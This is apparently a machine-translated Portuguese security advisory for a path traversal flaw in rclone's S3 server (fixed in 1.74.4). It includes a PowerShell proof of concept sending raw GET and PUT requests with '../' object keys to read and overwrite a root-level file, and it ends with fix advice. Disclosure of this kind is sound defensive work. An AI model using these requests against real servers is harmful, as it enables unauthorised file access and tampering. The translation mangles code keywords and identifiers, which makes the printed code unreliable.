rclone serve s 3 permite que um cliente leia e escreva arquivos na raiz do controle remoto que normalmente seria inacessível usando segmentos de caminho dot- dot na tecla objeto. Ele não permite ler arquivos fora da raiz. Um pedido como GET / bucket/../root- secret.txt é tratado como um pedido de objeto para o balde " bucket", mas o rclone normaliza o caminho de backend e lê root- secret.txt a partir da root de serviço. O mesmo problema também permite sobrepor arquivos de nível raiz com PUT. O componente afetado é rclone serve s 3. Arquivos fonte relevantes. cmd/ serve/s 3 /backend.go cmd/ serve/s 3 /multipart.go cmd/ serve/s 3 /list.go Em cmd/ serve/s 3 /backend.go, o S 3 Backend constrói caminhos backend juntando o nome do balde e a chave do objeto com caminho. fp:= caminho.Junte-se(BucketName, ObjectName). Este padrão é usado em operações de objetos como HeadObject, GetObject, PutObject, DeleteObject e CopyObject.
S 3 as chaves do objeto são nomes opacos e podem conter legalmente segmentos de pontos. No entanto, o caminho. Join trata a chave do objeto como um caminho estilo sistema de arquivos e normaliza os segmentos../. Como resultado, uma chave de objeto como../root-secret.txt é resolvida fora do diretório do balde selecionado. Por exemplo, quando o rclone serve s 3 está a servir um diretório de raiz que contém: root/ balde/ root- secret.txt. um S bruto 3 Pedido HTTP para: GET /bucket/../root- secret.txt. é analisado como um pedido para o balde "bucket" e objeto "../root- secret.txt". O backend então calcula: caminho.Junte-se("bucket", "../root-secret.txt") == "root-secret.txt". Isto faz com que o rclone leia root- secret.txt da raiz de serviço em vez de rejeitar o pedido ou tratar../ como parte do S 3 chave do objeto.
O mesmo comportamento afeta escreve. Um pedido como. PUT / bucket/../root- secret.txt Sobreescrever root-secret.txt na raiz de serviço. Este é um problema de normalização de caminho transversal / inadequado no S 3 A camada de serviço. Ele não escapa da raiz de serviço rclone configurada, mas ele escapa do S 3 espaço de nomes do bald e pode expor ou modificar arquivos de nível de raiz que não são destinados a ser S 3 objetos. PoC: 1 - b 1 ATr 5 Szx 6 iW-x_dcCDppT_aKtY 8 ene/view?usp= sharing Janelas 11 v clone 1.74.3 tronco binario oficial do Windows serve s 3 usando uma raiz local do sistema de arquivos Não --auth-key configurado, assim o servidor permite acesso anônimo como documentado.
1. Prepare uma raiz de serviço de teste. $base = "$env: TEMP\rclone-serve-s 3 -poc" $root = "$base\root" Remover-Item -Recorrer -Force $base -ErrorAção SilencioseContinue o Diretório de Novo-Item -Tipo de Item -Force -Path "$root\bucket".Conteúdo de Definição de Nul -Codificação ASCII -Path "$root\root-secret.txt" -Valor "ROOT_LEVEL_SECRET_MARKER" 2. Iniciar rclone serve s 3. $rclone = "C:\Usuários\fff 20 \AppData\Local\Temp\rclone-current-bin\rclone-v 1.74.3 - windows- amd 64 \rclone.exe" & $rclone serve s 3 $root -- addr 127.0.0.1: 19087 -vv --log- file "$base\serve-s 3.log".
3. Em outro terminal, envie um pedido HTTP GET bruto contendo uma chave de objeto dot- dot: $port = 19087 $req = "GET / bucket/../ root- secret. txt HTTP/ 1.1 `r` nHost: 127.0.0.1:$port`r`nContent- Longhth: 0 `r`nConexão: close`r`n`r`n" $client = [System.Net.Sockets.TcpClient]::new(" 127.0.0.1 ", $port) $stream = $client.GetStream() $bytes = [Texto.Codificação]::ASCII.GetBytes($req) $stream.Escrever($bytes, 0, $bytes.Longueza) $buf = byte de Novo Objeto[] 8192 $read = $stream.Ler($buf, 0, $buf.Longth) [Texto.Codificação]::ASCII.GetString($buf, 0, $leia) $client.Fechar() 4. Observe que a resposta contém o conteúdo do arquivo de nível raiz:.
ROOT_LEVEL_SECRET_MARKER. 5. Enviar um pedido HTTP PUT bruto para sobrescrever o mesmo arquivo de nível de raiz: $body = "OVERWRITTEN_ BY_ DOTDOT" $req = "PUT / bucket/../ root- secret. txt HTTP/ 1.1 `r` nHost: 127.0.0.1:$port`r`nContent-Longth: $($body.Longth)`r`nConexão: close`r`n`r`n$body" $client = [System.Net.Sockets.TcpClient]::new(" 127.0.0.1 ", $port) $stream = $client.GetStream() $bytes = [Texto.Codificação]::ASCII.GetBytes($req) $stream.Escrever($bytes, 0, $bytes.Longueza) $buf = byte de Novo Objeto[] 8192 $read = $stream.Ler($buf, 0, $buf.Longth) [Texto.Codificação]::ASCII.GetString($buf, 0, $leia) $client.Fechar() 6. Confirme que o arquivo de nível de raiz foi substituído. Obter o conteúdo "$root\root-secret.txt".
OVERWRITTEN_BY_DOTDOT. 7. O registro de depuração do rclone mostra a normalização insegura: servir s 3: OBJETO OBJECTO: balde Objecto:../root-secret.txt root-secret.txt: Abrir: bandeiras=O_RDONLY. servir s 3: CREA OBJECTO: balde../root-secret.txt root-secret.txt: OpenFile: flags=O_RDWR.O_CREATE.O_TRUNC rclone serve s 3 deve rejeitar as chaves de objeto que normalizariam fora do balde selecionado, ou preservar S 3 teclas do objeto como nomes opacos sem permitir que../ afecte o caminho do backend. rclone serve s 3 normaliza a tecla objeto com o caminho.Join(bucketName, objectName), permitindo que../ segmentos na tecla objeto escapem do espaço de nomes do balde e acessem arquivos de nível de raiz sob a raiz de serviço configurada.
Este é um caminho transversal / inadequado de normalização de caminho vulnerabilidade em rclone serve s 3. Um atacante que pode enviar pedidos para um servidor rclone afetado 3 o endpoint pode usar teclas de objeto dot- dot para ler ou sobrescrever arquivos fora do diretório selecionado, mas ainda dentro da raiz de serviço configurada. Em implantações onde o rclone serve s 3 expõe uma raiz que contém vários baldes ou arquivos operacionais de nível de raiz, isto pode permitir a divulgação ou modificação não autorizada de arquivos que não são destinados a ser acessíveis como objetos no balde selecionado. O problema é especialmente relevante quando o rclone serve s 3 é executado sem -- auth- key, porque os documentos rclone que esta configuração permite acesso anônimo. Se a autenticação estiver configurada, a exploração exigirá um S válido 3 Acesso ao servidor.
Não construir caminhos de backend passando diretamente por S não confiado 3 teclas do objeto para o caminho. Junte- se ao nome do balde. Antes de aceder ao backend, rejeite as teclas de objeto contendo segmentos de trajeto que escapariam do balde selecionado após a normalização. Alternativamente, conserve as teclas de objeto como S opaco 3 nomes e codificar separadores de caminho ou segmentos de pontos- pontos para que não possam afetar a resolução do caminho backend. Versão afetada testada. v clone 1.74.3 binário oficial do Windows Registro de aconselhamento: GHSA- 8 v 25 - v 8 p 6 - qf 7 v. Não há nenhum identificador adicional listado.
Tempo: GitHub Advisory Database publicou este registro em 2026 - 08 - 05 T 20: 27: 42.000 Z e lista a sua última modificação como 2026 - 08 - 05 T 20: 27: 42.000 Z. Gravidade: MODERAR. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N. Informações sobre software e versão afetadas: Vá o pacote github.com/rclone/rclone — ECOSISTEM: introduzido 0, corrigido 1.74.4. Classificação e evidência: identificadores de fraqueza CWE- 22. O registro contém 5 suporte de referências nestes tipos: WEB, PACKAGE.